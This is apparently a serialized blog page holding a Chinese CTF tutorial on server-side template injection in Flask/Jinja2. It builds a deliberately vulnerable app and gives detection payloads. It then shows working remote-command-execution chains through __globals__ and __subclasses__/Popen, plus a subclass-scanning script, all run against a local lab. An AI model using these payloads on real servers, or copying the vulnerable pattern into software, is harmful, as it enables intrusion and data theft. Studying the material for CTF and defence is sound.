,426],{},[76,5927,431],{"id":430},[15,5929,5930,178,5932,439],{},[67,5931,261],{},[26,5933,438],{},[19,5935,5936],{"className":82,"code":442,"language":84,"meta":24,"style":24},[26,5937,5938,5948,5958,5968],{"__ignoreMap":24},[29,5939,5940,5942,5944,5946],{"class":31,"line":32},[29,5941,281],{"class":91},[29,5943,285],{"class":284},[29,5945,453],{"class":95},[29,5947,291],{"class":284},[29,5949,5950,5952,5954,5956],{"class":31,"line":38},[29,5951,281],{"class":91},[29,5953,285],{"class":284},[29,5955,464],{"class":95},[29,5957,291],{"class":284},[29,5959,5960,5962,5964,5966],{"class":31,"line":111},[29,5961,281],{"class":91},[29,5963,285],{"class":284},[29,5965,475],{"class":95},[29,5967,291],{"class":284},[29,5969,5970,5972,5974,5976],{"class":31,"line":157},[29,5971,281],{"class":91},[29,5973,285],{"class":284},[29,5975,486],{"class":95},[29,5977,291],{"class":284},[15,5979,491],{},[76,5981,495],{"id":494},[15,5983,5984,178,5986,503],{},[67,5985,261],{},[26,5987,502],{},[19,5989,5990],{"className":82,"code":506,"language":84,"meta":24,"style":24},[26,5991,5992],{"__ignoreMap":24},[29,5993,5994,5996,5998,6000],{"class":31,"line":32},[29,5995,281],{"class":91},[29,5997,285],{"class":284},[29,5999,517],{"class":95},[29,6001,291],{"class":284},[15,6003,294,6004,525],{},[26,6005,524],{},[76,6007,529],{"id":528},[19,6009,6010],{"className":82,"code":532,"language":84,"meta":24,"style":24},[26,6011,6012],{"__ignoreMap":24},[29,6013,6014,6016,6018,6020],{"class":31,"line":32},[29,6015,281],{"class":91},[29,6017,285],{"class":284},[29,6019,543],{"class":95},[29,6021,291],{"class":284},[15,6023,294,6024,127],{},[26,6025,550],{},[76,6027,554],{"id":553},[19,6029,6030],{"className":82,"code":557,"language":84,"meta":24,"style":24},[26,6031,6032],{"__ignoreMap":24},[29,6033,6034,6036,6038,6040],{"class":31,"line":32},[29,6035,281],{"class":91},[29,6037,285],{"class":284},[29,6039,568],{"class":95},[29,6041,291],{"class":284},[15,6043,294,6044,127],{},[26,6045,575],{},[76,6047,579],{"id":578},[19,6049,6050],{"className":82,"code":582,"language":84,"meta":24,"style":24},[26,6051,6052],{"__ignoreMap":24},[29,6053,6054,6056,6058,6060],{"class":31,"line":32},[29,6055,281],{"class":91},[29,6057,285],{"class":284},[29,6059,593],{"class":95},[29,6061,291],{"class":284},[15,6063,294,6064,127],{},[26,6065,600],{},[15,6067,6068,606,6070,609,6072,612,6074,615],{},[67,6069,605],{},[26,6071,575],{},[26,6073,600],{},[26,6075,600],{},[76,6077,619],{"id":618},[19,6079,6080],{"className":82,"code":622,"language":84,"meta":24,"style":24},[26,6081,6082],{"__ignoreMap":24},[29,6083,6084,6086,6088,6090],{"class":31,"line":32},[29,6085,281],{"class":91},[29,6087,285],{"class":284},[29,6089,633],{"class":95},[29,6091,291],{"class":284},[15,6093,294,6094,127],{},[26,6095,640],{},[15,6097,6098,646],{},[67,6099,645],{},[10,6101,650],{"id":649},[15,6103,6104,655],{},[67,6105,251],{},[15,6107,658],{},[76,6109,662],{"id":661},[19,6111,6112],{"className":82,"code":665,"language":84,"meta":24,"style":24},[26,6113,6114],{"__ignoreMap":24},[29,6115,6116,6118,6120,6122],{"class":31,"line":32},[29,6117,281],{"class":91},[29,6119,285],{"class":284},[29,6121,676],{"class":95},[29,6123,291],{"class":284},[15,6125,681,6126,127],{},[26,6127,684],{},[19,6129,6130],{"className":82,"code":687,"language":84,"meta":24,"style":24},[26,6131,6132],{"__ignoreMap":24},[29,6133,6134,6136,6138,6140],{"class":31,"line":32},[29,6135,281],{"class":91},[29,6137,285],{"class":284},[29,6139,698],{"class":95},[29,6141,291],{"class":284},[15,6143,703,6144,127],{},[26,6145,706],{},[15,6147,709],{},[15,6149,6150,714,6152,718],{},[67,6151,261],{},[26,6153,717],{},[19,6155,6156],{"className":721,"code":722,"language":723,"meta":24,"style":24},[26,6157,6158,6162,6166,6170,6174,6178,6182,6186,6190,6194,6198,6202,6206,6210,6214,6218,6222,6226,6230,6234,6238,6242,6246,6250,6254,6258,6262],{"__ignoreMap":24},[29,6159,6160],{"class":31,"line":32},[29,6161,730],{},[29,6163,6164],{"class":31,"line":38},[29,6165,735],{},[29,6167,6168],{"class":31,"line":111},[29,6169,741],{"emptyLinePlaceholder":740},[29,6171,6172],{"class":31,"line":157},[29,6173,746],{},[29,6175,6176],{"class":31,"line":163},[29,6177,751],{},[29,6179,6180],{"class":31,"line":169},[29,6181,741],{"emptyLinePlaceholder":740},[29,6183,6184],{"class":31,"line":215},[29,6185,760],{},[29,6187,6188],{"class":31,"line":221},[29,6189,765],{},[29,6191,6192],{"class":31,"line":227},[29,6193,770],{},[29,6195,6196],{"class":31,"line":773},[29,6197,776],{},[29,6199,6200],{"class":31,"line":779},[29,6201,782],{},[29,6203,6204],{"class":31,"line":785},[29,6205,788],{},[29,6207,6208],{"class":31,"line":791},[29,6209,794],{},[29,6211,6212],{"class":31,"line":797},[29,6213,800],{},[29,6215,6216],{"class":31,"line":803},[29,6217,806],{},[29,6219,6220],{"class":31,"line":809},[29,6221,812],{},[29,6223,6224],{"class":31,"line":815},[29,6225,818],{},[29,6227,6228],{"class":31,"line":821},[29,6229,824],{},[29,6231,6232],{"class":31,"line":827},[29,6233,830],{},[29,6235,6236],{"class":31,"line":833},[29,6237,836],{},[29,6239,6240],{"class":31,"line":839},[29,6241,842],{},[29,6243,6244],{"class":31,"line":845},[29,6245,848],{},[29,6247,6248],{"class":31,"line":851},[29,6249,854],{},[29,6251,6252],{"class":31,"line":857},[29,6253,860],{},[29,6255,6256],{"class":31,"line":863},[29,6257,866],{},[29,6259,6260],{"class":31,"line":869},[29,6261,872],{},[29,6263,6264],{"class":31,"line":875},[29,6265,878],{},[15,6267,881],{},[19,6269,6271],{"className":6270,"code":885,"language":300,"meta":24},[298],[26,6272,885],{"__ignoreMap":24},[76,6274,891],{"id":890},[15,6276,894,6277,898],{},[26,6278,897],{},[19,6280,6281],{"className":82,"code":901,"language":84,"meta":24,"style":24},[26,6282,6283],{"__ignoreMap":24},[29,6284,6285,6287,6289,6291],{"class":31,"line":32},[29,6286,281],{"class":91},[29,6288,285],{"class":284},[29,6290,912],{"class":95},[29,6292,291],{"class":284},[15,6294,917],{},[10,6296,921],{"id":920},[15,6298,6299,926],{},[67,6300,251],{},[76,6302,930],{"id":929},[15,6304,6305,935],{},[67,6306,261],{},[19,6308,6309],{"className":82,"code":938,"language":84,"meta":24,"style":24},[26,6310,6311],{"__ignoreMap":24},[29,6312,6313,6315,6317,6319,6321,6323],{"class":31,"line":32},[29,6314,945],{"class":91},[29,6316,948],{"class":116},[29,6318,285],{"class":284},[29,6320,288],{"class":95},[29,6322,955],{"class":284},[29,6324,958],{"class":116},[15,6326,961],{},[19,6328,6330],{"className":6329,"code":965,"language":300,"meta":24},[298],[26,6331,965],{"__ignoreMap":24},[76,6333,971],{"id":970},[19,6335,6336],{"className":82,"code":974,"language":84,"meta":24,"style":24},[26,6337,6338],{"__ignoreMap":24},[29,6339,6340,6342,6344,6346,6348,6350],{"class":31,"line":32},[29,6341,945],{"class":91},[29,6343,948],{"class":116},[29,6345,285],{"class":284},[29,6347,288],{"class":95},[29,6349,955],{"class":284},[29,6351,991],{"class":116},[15,6353,994,6354,127],{},[26,6355,550],{},[76,6357,1000],{"id":999},[19,6359,6360],{"className":82,"code":1003,"language":84,"meta":24,"style":24},[26,6361,6362],{"__ignoreMap":24},[29,6363,6364,6366,6368,6370,6372,6374,6376,6378,6380,6382],{"class":31,"line":32},[29,6365,945],{"class":91},[29,6367,948],{"class":116},[29,6369,285],{"class":284},[29,6371,288],{"class":95},[29,6373,955],{"class":284},[29,6375,1020],{"class":116},[29,6377,1023],{"class":95},[29,6379,1026],{"class":116},[29,6381,1029],{"class":95},[29,6383,1032],{"class":116},[15,6385,294,6386,1037,6388,127],{},[26,6387,600],{},[26,6389,640],{},[10,6391,1043],{"id":1042},[19,6393,6394],{"className":21,"code":1046,"language":23,"meta":24,"style":24},[26,6395,6396,6400,6404,6408,6412,6416,6420,6424],{"__ignoreMap":24},[29,6397,6398],{"class":31,"line":32},[29,6399,1053],{},[29,6401,6402],{"class":31,"line":38},[29,6403,1058],{},[29,6405,6406],{"class":31,"line":111},[29,6407,1063],{},[29,6409,6410],{"class":31,"line":157},[29,6411,741],{"emptyLinePlaceholder":740},[29,6413,6414],{"class":31,"line":163},[29,6415,1072],{},[29,6417,6418],{"class":31,"line":169},[29,6419,1077],{},[29,6421,6422],{"class":31,"line":215},[29,6423,1082],{},[29,6425,6426],{"class":31,"line":221},[29,6427,1087],{},[19,6429,6430],{"className":721,"code":1090,"language":723,"meta":24,"style":24},[26,6431,6432],{"__ignoreMap":24},[29,6433,6434],{"class":31,"line":32},[29,6435,1090],{},[15,6437,1099,6438,1103],{},[26,6439,1102],{},[10,6441,1107],{"id":1106},[15,6443,6444,1112],{},[67,6445,251],{},[15,6447,1115,6448,178],{},[26,6449,1118],{},[19,6451,6452],{"className":721,"code":1121,"language":723,"meta":24,"style":24},[26,6453,6454,6458,6462,6466,6470,6474,6478,6482,6486,6490,6494,6498,6502,6506,6510,6514,6518,6522,6526,6530,6534,6538,6542,6546,6550,6554,6558,6562,6566,6570,6574,6578,6582,6586],{"__ignoreMap":24},[29,6455,6456],{"class":31,"line":32},[29,6457,1128],{},[29,6459,6460],{"class":31,"line":38},[29,6461,1133],{},[29,6463,6464],{"class":31,"line":111},[29,6465,741],{"emptyLinePlaceholder":740},[29,6467,6468],{"class":31,"line":157},[29,6469,1142],{},[29,6471,6472],{"class":31,"line":163},[29,6473,1147],{},[29,6475,6476],{"class":31,"line":169},[29,6477,1152],{},[29,6479,6480],{"class":31,"line":215},[29,6481,1157],{},[29,6483,6484],{"class":31,"line":221},[29,6485,160],{},[29,6487,6488],{"class":31,"line":227},[29,6489,1166],{},[29,6491,6492],{"class":31,"line":773},[29,6493,172],{},[29,6495,6496],{"class":31,"line":779},[29,6497,1175],{},[29,6499,6500],{"class":31,"line":785},[29,6501,1180],{},[29,6503,6504],{"class":31,"line":791},[29,6505,741],{"emptyLinePlaceholder":740},[29,6507,6508],{"class":31,"line":797},[29,6509,1189],{},[29,6511,6512],{"class":31,"line":803},[29,6513,1194],{},[29,6515,6516],{"class":31,"line":809},[29,6517,1199],{},[29,6519,6520],{"class":31,"line":815},[29,6521,1204],{},[29,6523,6524],{"class":31,"line":821},[29,6525,1209],{},[29,6527,6528],{"class":31,"line":827},[29,6529,1214],{},[29,6531,6532],{"class":31,"line":833},[29,6533,1219],{},[29,6535,6536],{"class":31,"line":839},[29,6537,1224],{},[29,6539,6540],{"class":31,"line":845},[29,6541,1229],{},[29,6543,6544],{"class":31,"line":851},[29,6545,1234],{},[29,6547,6548],{"class":31,"line":857},[29,6549,1239],{},[29,6551,6552],{"class":31,"line":863},[29,6553,1244],{},[29,6555,6556],{"class":31,"line":869},[29,6557,741],{"emptyLinePlaceholder":740},[29,6559,6560],{"class":31,"line":875},[29,6561,1253],{},[29,6563,6564],{"class":31,"line":1256},[29,6565,1259],{},[29,6567,6568],{"class":31,"line":1262},[29,6569,1265],{},[29,6571,6572],{"class":31,"line":1268},[29,6573,1271],{},[29,6575,6576],{"class":31,"line":1274},[29,6577,1277],{},[29,6579,6580],{"class":31,"line":1280},[29,6581,1283],{},[29,6583,6584],{"class":31,"line":1286},[29,6585,1289],{},[29,6587,6588],{"class":31,"line":1292},[29,6589,1295],{},[15,6591,1298],{},[19,6593,6594],{"className":82,"code":1301,"language":84,"meta":24,"style":24},[26,6595,6596],{"__ignoreMap":24},[29,6597,6598,6600],{"class":31,"line":32},[29,6599,1308],{"class":91},[29,6601,1311],{"class":95},[15,6603,1314],{},[19,6605,6607],{"className":6606,"code":1318,"language":300,"meta":24},[298],[26,6608,1318],{"__ignoreMap":24},[15,6610,1323],{},[1325,6612,6613,6623],{},[1328,6614,6615],{},[1331,6616,6617,6619,6621],{},[1334,6618,1336],{},[1334,6620,1339],{},[1334,6622,1342],{},[1344,6624,6625,6635,6645,6655,6665,6675,6687,6697],{},[1331,6626,6627,6631,6633],{},[1349,6628,6629],{},[26,6630,1353],{},[1349,6632,1356],{},[1349,6634,1359],{},[1331,6636,6637,6641,6643],{},[1349,6638,6639],{},[26,6640,1366],{},[1349,6642,1369],{},[1349,6644,1372],{},[1331,6646,6647,6651,6653],{},[1349,6648,6649],{},[26,6650,1379],{},[1349,6652,1356],{},[1349,6654,1384],{},[1331,6656,6657,6661,6663],{},[1349,6658,6659],{},[26,6660,1391],{},[1349,6662,1394],{},[1349,6664,1397],{},[1331,6666,6667,6671,6673],{},[1349,6668,6669],{},[26,6670,1404],{},[1349,6672,1407],{},[1349,6674,1410],{},[1331,6676,6677,6681,6685],{},[1349,6678,6679],{},[26,6680,1417],{},[1349,6682,6683],{},[26,6684,1422],{},[1349,6686,1425],{},[1331,6688,6689,6691,6695],{},[1349,6690,1430],{},[1349,6692,6693],{},[26,6694,1435],{},[1349,6696,1438],{},[1331,6698,6699,6701,6705],{},[1349,6700,1443],{},[1349,6702,6703],{},[26,6704,640],{},[1349,6706,1450],{},[10,6708,1454],{"id":1453},[15,6710,1457,6711,1461],{},[67,6712,1460],{},[1463,6714,1465],{},{"title":24,"searchDepth":38,"depth":38,"links":6716},[6717,6718,6719,6720,6721,6722,6723,6724,6725],{"id":12,"depth":111,"text":13},{"id":73,"depth":111,"text":74},{"id":245,"depth":111,"text":246},{"id":409,"depth":111,"text":410},{"id":649,"depth":111,"text":650},{"id":920,"depth":111,"text":921},{"id":1042,"depth":111,"text":1043},{"id":1106,"depth":111,"text":1107},{"id":1453,"depth":111,"text":1454},{"date":1480,"image":1481,"alt":1482,"tags":6727,"published":740},[550,1484,1485,1486],{"title":5,"description":1477},{"id":6730,"title":6731,"body":6732,"description":7778,"extension":1478,"meta":7779,"navigation":740,"ogImage":7780,"path":7784,"seo":7785,"stem":7786,"__hash__":7787},"content/blogs/15. ctf-web-ssti-deep-dive.md","SSTI 深入实战：探测、RCE 链与绕过",{"type":7,"value":6733,"toc":7768},[6734,6738,6741,6784,6795,6798,6807,6813,6817,6831,6836,6889,6891,6903,6907,6912,6925,6929,6945,6947,6969,6973,6989,6991,7009,7019,7023,7090,7094,7099,7132,7141,7145,7151,7155,7161,7164,7180,7182,7200,7203,7219,7221,7239,7252,7260,7271,7278,7284,7287,7365,7371,7374,7380,7384,7396,7405,7417,7421,7427,7431,7437,7446,7448,7452,7498,7502,7545,7551,7555,7558,7627,7631,7640,7644,7649,7664,7670,7674,7689,7718,7721,7727,7731,7739,7742,7748,7750,7765],[10,6735,6737],{"id":6736},"一现实背景模板引擎的正确与错误用法","一、现实背景：模板引擎的正确与错误用法",[15,6739,6740],{},"Web 开发常用模板引擎把数据渲染成 HTML。Flask 的正确写法：",[19,6742,6744],{"className":721,"code":6743,"language":723,"meta":24,"style":24},"from flask import Flask, render_template\n\napp = Flask(__name__)\n\n@app.route(\"/\")\ndef index():\n    name = request.args.get(\"name\", \"world\")\n    return render_template(\"hello.html\", name=name)\n",[26,6745,6746,6751,6755,6760,6764,6769,6774,6779],{"__ignoreMap":24},[29,6747,6748],{"class":31,"line":32},[29,6749,6750],{},"from flask import Flask, render_template\n",[29,6752,6753],{"class":31,"line":38},[29,6754,741],{"emptyLinePlaceholder":740},[29,6756,6757],{"class":31,"line":111},[29,6758,6759],{},"app = Flask(__name__)\n",[29,6761,6762],{"class":31,"line":157},[29,6763,741],{"emptyLinePlaceholder":740},[29,6765,6766],{"class":31,"line":163},[29,6767,6768],{},"@app.route(\"/\")\n",[29,6770,6771],{"class":31,"line":169},[29,6772,6773],{},"def index():\n",[29,6775,6776],{"class":31,"line":215},[29,6777,6778],{},"    name = request.args.get(\"name\", \"world\")\n",[29,6780,6781],{"class":31,"line":221},[29,6782,6783],{},"    return render_template(\"hello.html\", name=name)\n",[15,6785,6786,6787,6790,6791,6794],{},"模板文件 ",[26,6788,6789],{},"hello.html"," 内容是固定的 ",[26,6792,6793],{},"\u003Ch1>Hello, {{ name }}!\u003C/h1>","，用户输入只是参数值。",[15,6796,6797],{},"错误写法是把用户输入拼进模板字符串：",[19,6799,6801],{"className":721,"code":6800,"language":723,"meta":24,"style":24},"return render_template_string(\"\u003Ch1>Hello, \" + name + \"!\u003C/h1>\", name=name)\n",[26,6802,6803],{"__ignoreMap":24},[29,6804,6805],{"class":31,"line":32},[29,6806,6800],{},[15,6808,6809,6812],{},[26,6810,6811],{},"{{ ... }}"," 里的表达式会被求值。用户输入进入模板字符串，就形成了模板注入（SSTI）。",[10,6814,6816],{"id":6815},"二环境搭建","二、环境搭建",[19,6818,6820],{"className":82,"code":6819,"language":84,"meta":24,"style":24},"pip install flask\n",[26,6821,6822],{"__ignoreMap":24},[29,6823,6824,6826,6828],{"class":31,"line":32},[29,6825,4132],{"class":91},[29,6827,1578],{"class":95},[29,6829,6830],{"class":95}," flask\n",[15,6832,2872,6833,178],{},[26,6834,6835],{},"app.py",[19,6837,6839],{"className":721,"code":6838,"language":723,"meta":24,"style":24},"from flask import Flask, request, render_template_string\n\napp = Flask(__name__)\n\n@app.route(\"/\")\ndef index():\n    name = request.args.get(\"name\", \"world\")\n    html = \"\u003Ch1>Hello, \" + name + \"!\u003C/h1>\"\n    return render_template_string(html, name=name)\n\napp.run(host=\"0.0.0.0\", port=5000)\n",[26,6840,6841,6846,6850,6854,6858,6862,6866,6870,6875,6880,6884],{"__ignoreMap":24},[29,6842,6843],{"class":31,"line":32},[29,6844,6845],{},"from flask import Flask, request, render_template_string\n",[29,6847,6848],{"class":31,"line":38},[29,6849,741],{"emptyLinePlaceholder":740},[29,6851,6852],{"class":31,"line":111},[29,6853,6759],{},[29,6855,6856],{"class":31,"line":157},[29,6857,741],{"emptyLinePlaceholder":740},[29,6859,6860],{"class":31,"line":163},[29,6861,6768],{},[29,6863,6864],{"class":31,"line":169},[29,6865,6773],{},[29,6867,6868],{"class":31,"line":215},[29,6869,6778],{},[29,6871,6872],{"class":31,"line":221},[29,6873,6874],{},"    html = \"\u003Ch1>Hello, \" + name + \"!\u003C/h1>\"\n",[29,6876,6877],{"class":31,"line":227},[29,6878,6879],{},"    return render_template_string(html, name=name)\n",[29,6881,6882],{"class":31,"line":773},[29,6883,741],{"emptyLinePlaceholder":740},[29,6885,6886],{"class":31,"line":779},[29,6887,6888],{},"app.run(host=\"0.0.0.0\", port=5000)\n",[15,6890,1298],{},[19,6892,6894],{"className":82,"code":6893,"language":84,"meta":24,"style":24},"python app.py\n",[26,6895,6896],{"__ignoreMap":24},[29,6897,6898,6900],{"class":31,"line":32},[29,6899,723],{"class":91},[29,6901,6902],{"class":95}," app.py\n",[10,6904,6906],{"id":6905},"三核心步骤-1探测","三、核心步骤 1：探测",[15,6908,6909,6911],{},[67,6910,251],{},"：确认\"用户输入被当作模板代码求值\"。",[15,6913,6914,6916,6917,6920,6921,6924],{},[67,6915,261],{},"：模板引擎会执行 ",[26,6918,6919],{},"{{ 表达式 }}","。传 ",[26,6922,6923],{},"{{7*7}}","，若响应出现 49，说明表达式被求值，注入成立。先做这一步，再考虑 RCE。",[76,6926,6928],{"id":6927},"_31-正常请求","3.1 正常请求",[19,6930,6932],{"className":82,"code":6931,"language":84,"meta":24,"style":24},"curl \"http://127.0.0.1:5000/?name=alice\"\n",[26,6933,6934],{"__ignoreMap":24},[29,6935,6936,6938,6940,6943],{"class":31,"line":32},[29,6937,281],{"class":91},[29,6939,285],{"class":284},[29,6941,6942],{"class":95},"http://127.0.0.1:5000/?name=alice",[29,6944,291],{"class":284},[15,6946,294],{},[19,6948,6952],{"className":6949,"code":6950,"language":6951,"meta":24,"style":24},"language-html shiki shiki-themes dracula","\u003Ch1>Hello, alice!\u003C/h1>\n","html",[26,6953,6954],{"__ignoreMap":24},[29,6955,6956,6959,6962,6965,6967],{"class":31,"line":32},[29,6957,6958],{"class":1537},"\u003C",[29,6960,6961],{"class":1530},"h1",[29,6963,6964],{"class":1537},">Hello, alice!\u003C/",[29,6966,6961],{"class":1530},[29,6968,1541],{"class":1537},[76,6970,6972],{"id":6971},"_32-表达式求值","3.2 表达式求值",[19,6974,6976],{"className":82,"code":6975,"language":84,"meta":24,"style":24},"curl \"http://127.0.0.1:5000/?name={{7*7}}\"\n",[26,6977,6978],{"__ignoreMap":24},[29,6979,6980,6982,6984,6987],{"class":31,"line":32},[29,6981,281],{"class":91},[29,6983,285],{"class":284},[29,6985,6986],{"class":95},"http://127.0.0.1:5000/?name={{7*7}}",[29,6988,291],{"class":284},[15,6990,294],{},[19,6992,6994],{"className":6949,"code":6993,"language":6951,"meta":24,"style":24},"\u003Ch1>Hello, 49!\u003C/h1>\n",[26,6995,6996],{"__ignoreMap":24},[29,6997,6998,7000,7002,7005,7007],{"class":31,"line":32},[29,6999,6958],{"class":1537},[29,7001,6961],{"class":1530},[29,7003,7004],{"class":1537},">Hello, 49!\u003C/",[29,7006,6961],{"class":1530},[29,7008,1541],{"class":1537},[15,7010,7011,7014,7015,7018],{},[26,7012,7013],{},"7*7"," 被求值成 ",[26,7016,7017],{},"49","，说明模板表达式生效，SSTI 成立。",[76,7020,7022],{"id":7021},"_33-其他引擎的探测语法","3.3 其他引擎的探测语法",[1325,7024,7025,7038],{},[1328,7026,7027],{},[1331,7028,7029,7032,7035],{},[1334,7030,7031],{},"引擎",[1334,7033,7034],{},"语言",[1334,7036,7037],{},"探测 payload",[1344,7039,7040,7052,7065,7077],{},[1331,7041,7042,7045,7048],{},[1349,7043,7044],{},"Jinja2 / Twig",[1349,7046,7047],{},"Python / PHP",[1349,7049,7050],{},[26,7051,6923],{},[1331,7053,7054,7057,7060],{},[1349,7055,7056],{},"Freemarker",[1349,7058,7059],{},"Java",[1349,7061,7062],{},[26,7063,7064],{},"${7*7}",[1331,7066,7067,7070,7072],{},[1349,7068,7069],{},"Velocity",[1349,7071,7059],{},[1349,7073,7074],{},[26,7075,7076],{},"#set($x=7*7)$x",[1331,7078,7079,7082,7085],{},[1349,7080,7081],{},"Smarty",[1349,7083,7084],{},"PHP",[1349,7086,7087],{},[26,7088,7089],{},"{$smarty.version}",[10,7091,7093],{"id":7092},"四核心步骤-2一条-rce-链","四、核心步骤 2：一条 RCE 链",[15,7095,7096,7098],{},[67,7097,251],{},"：从\"能算数\"提升到\"能执行系统命令\"。",[15,7100,7101,7103,7104,7107,7108,1728,7111,1728,7114,7117,7118,7121,7122,7124,7125,7128,7129,127],{},[67,7102,261],{},"：模板只能访问少量对象（如 ",[26,7105,7106],{},"config","）。Python 对象有 ",[26,7109,7110],{},"__class__",[26,7112,7113],{},"__init__",[26,7115,7116],{},"__globals__"," 等内部属性，沿着它们可以摸到模块全局命名空间，从而拿到 ",[26,7119,7120],{},"os"," 模块。验证方式：先执行 ",[26,7123,255],{},"，输出 ",[26,7126,7127],{},"uid=..."," 即成功，再换 ",[26,7130,7131],{},"cat /flag",[15,7133,7134,7135,7137,7138,7140],{},"目标是执行系统命令。Jinja2 模板中可以直接访问 Flask 的 ",[26,7136,7106],{}," 对象，沿 Python 内部属性找到 ",[26,7139,7120],{}," 模块。",[76,7142,7144],{"id":7143},"_41-分步理解","4.1 分步理解",[19,7146,7149],{"className":7147,"code":7148,"language":300,"meta":24},[298],"config                                  → Flask 配置对象\nconfig.__class__                        → 它的类（Config）\nconfig.__class__.__init__               → Config 的构造函数\nconfig.__class__.__init__.__globals__   → 构造函数所在模块的全局命名空间（字典）\n__globals__['os']                       → os 模块\nos.popen('id').read()                   → 执行命令并读取输出\n",[26,7150,7148],{"__ignoreMap":24},[76,7152,7154],{"id":7153},"_42-完整-payload","4.2 完整 payload",[19,7156,7159],{"className":7157,"code":7158,"language":300,"meta":24},[298],"{{config.__class__.__init__.__globals__['os'].popen('id').read()}}\n",[26,7160,7158],{"__ignoreMap":24},[15,7162,7163],{},"用 curl 发送：",[19,7165,7167],{"className":82,"code":7166,"language":84,"meta":24,"style":24},"curl \"http://127.0.0.1:5000/?name={{config.__class__.__init__.__globals__['os'].popen('id').read()}}\"\n",[26,7168,7169],{"__ignoreMap":24},[29,7170,7171,7173,7175,7178],{"class":31,"line":32},[29,7172,281],{"class":91},[29,7174,285],{"class":284},[29,7176,7177],{"class":95},"http://127.0.0.1:5000/?name={{config.__class__.__init__.__globals__['os'].popen('id').read()}}",[29,7179,291],{"class":284},[15,7181,294],{},[19,7183,7185],{"className":6949,"code":7184,"language":6951,"meta":24,"style":24},"\u003Ch1>Hello, uid=0(root) gid=0(root) groups=0(root)!\u003C/h1>\n",[26,7186,7187],{"__ignoreMap":24},[29,7188,7189,7191,7193,7196,7198],{"class":31,"line":32},[29,7190,6958],{"class":1537},[29,7192,6961],{"class":1530},[29,7194,7195],{"class":1537},">Hello, uid=0(root) gid=0(root) groups=0(root)!\u003C/",[29,7197,6961],{"class":1530},[29,7199,1541],{"class":1537},[15,7201,7202],{},"命令执行成功。读 flag：",[19,7204,7206],{"className":82,"code":7205,"language":84,"meta":24,"style":24},"curl \"http://127.0.0.1:5000/?name={{config.__class__.__init__.__globals__['os'].popen('cat%20/flag').read()}}\"\n",[26,7207,7208],{"__ignoreMap":24},[29,7209,7210,7212,7214,7217],{"class":31,"line":32},[29,7211,281],{"class":91},[29,7213,285],{"class":284},[29,7215,7216],{"class":95},"http://127.0.0.1:5000/?name={{config.__class__.__init__.__globals__['os'].popen('cat%20/flag').read()}}",[29,7218,291],{"class":284},[15,7220,294],{},[19,7222,7224],{"className":6949,"code":7223,"language":6951,"meta":24,"style":24},"\u003Ch1>Hello, flag{ssti_rce}!\u003C/h1>\n",[26,7225,7226],{"__ignoreMap":24},[29,7227,7228,7230,7232,7235,7237],{"class":31,"line":32},[29,7229,6958],{"class":1537},[29,7231,6961],{"class":1530},[29,7233,7234],{"class":1537},">Hello, flag{ssti_rce}!\u003C/",[29,7236,6961],{"class":1530},[29,7238,1541],{"class":1537},[15,7240,7241,178,7249,7251],{},[67,7242,7243,7244,7246,7247],{},"为什么先试 ",[26,7245,255],{}," 再试 ",[26,7248,7131],{},[26,7250,255],{}," 只读当前用户信息，无副作用，适合验证命令是否真的执行；确认能执行后再读 flag，避免在 payload 有误时盲目尝试。",[76,7253,7255,7256,7259],{"id":7254},"_43-备选链subclasses-扫描","4.3 备选链：",[67,7257,7258],{},"subclasses"," 扫描",[15,7261,7262,7264,7265,7267,7268,127],{},[67,7263,251],{},"：当 ",[26,7266,7106],{}," 链被过滤或不可用时，用\"从 object 找所有子类\"的通用路径定位 ",[26,7269,7270],{},"subprocess.Popen",[15,7272,7273,7275,7276,178],{},[26,7274,7106],{}," 链不可用时，从字符串对象出发找 ",[26,7277,7270],{},[19,7279,7282],{"className":7280,"code":7281,"language":300,"meta":24},[298],"''.__class__.__mro__[1].__subclasses__()\n",[26,7283,7281],{"__ignoreMap":24},[15,7285,7286],{},"先用 Python 脚本找下标：",[19,7288,7290],{"className":721,"code":7289,"language":723,"meta":24,"style":24},"import requests\n\nurl = \"http://127.0.0.1:5000/\"\nfor i in range(500):\n    # 逐个尝试子类下标 0..499，把类名渲染出来。\n    payload = \"{{''.__class__.__mro__[1].__subclasses__()[\" + str(i) + \"].__name__}}\"\n    # ''：空字符串对象；.__class__：它的类 str；\n    # .__mro__[1]：继承链上的 object 类；\n    # .__subclasses__()：object 的所有子类列表；[i] 取第 i 个；\n    # .__name__：该类的名字，会渲染到页面。\n    r = requests.get(url, params={\"name\": payload})\n    if \"Popen\" in r.text:\n        # 页面出现 Popen 字样，说明找到了 subprocess.Popen 的下标。\n        print(\"Popen index:\", i)\n        break\n",[26,7291,7292,7297,7301,7306,7311,7316,7321,7326,7331,7336,7341,7346,7351,7356,7361],{"__ignoreMap":24},[29,7293,7294],{"class":31,"line":32},[29,7295,7296],{},"import requests\n",[29,7298,7299],{"class":31,"line":38},[29,7300,741],{"emptyLinePlaceholder":740},[29,7302,7303],{"class":31,"line":111},[29,7304,7305],{},"url = \"http://127.0.0.1:5000/\"\n",[29,7307,7308],{"class":31,"line":157},[29,7309,7310],{},"for i in range(500):\n",[29,7312,7313],{"class":31,"line":163},[29,7314,7315],{},"    # 逐个尝试子类下标 0..499，把类名渲染出来。\n",[29,7317,7318],{"class":31,"line":169},[29,7319,7320],{},"    payload = \"{{''.__class__.__mro__[1].__subclasses__()[\" + str(i) + \"].__name__}}\"\n",[29,7322,7323],{"class":31,"line":215},[29,7324,7325],{},"    # ''：空字符串对象；.__class__：它的类 str；\n",[29,7327,7328],{"class":31,"line":221},[29,7329,7330],{},"    # .__mro__[1]：继承链上的 object 类；\n",[29,7332,7333],{"class":31,"line":227},[29,7334,7335],{},"    # .__subclasses__()：object 的所有子类列表；[i] 取第 i 个；\n",[29,7337,7338],{"class":31,"line":773},[29,7339,7340],{},"    # .__name__：该类的名字，会渲染到页面。\n",[29,7342,7343],{"class":31,"line":779},[29,7344,7345],{},"    r = requests.get(url, params={\"name\": payload})\n",[29,7347,7348],{"class":31,"line":785},[29,7349,7350],{},"    if \"Popen\" in r.text:\n",[29,7352,7353],{"class":31,"line":791},[29,7354,7355],{},"        # 页面出现 Popen 字样，说明找到了 subprocess.Popen 的下标。\n",[29,7357,7358],{"class":31,"line":797},[29,7359,7360],{},"        print(\"Popen index:\", i)\n",[29,7362,7363],{"class":31,"line":803},[29,7364,872],{},[15,7366,294,7367,7370],{},[26,7368,7369],{},"Popen index: 258","（数字因 Python 版本而异）。",[15,7372,7373],{},"然后利用：",[19,7375,7378],{"className":7376,"code":7377,"language":300,"meta":24},[298],"{{''.__class__.__mro__[1].__subclasses__()[258]('id',shell=True,stdout=-1).communicate()[0]}}\n# Popen('id', shell=True, 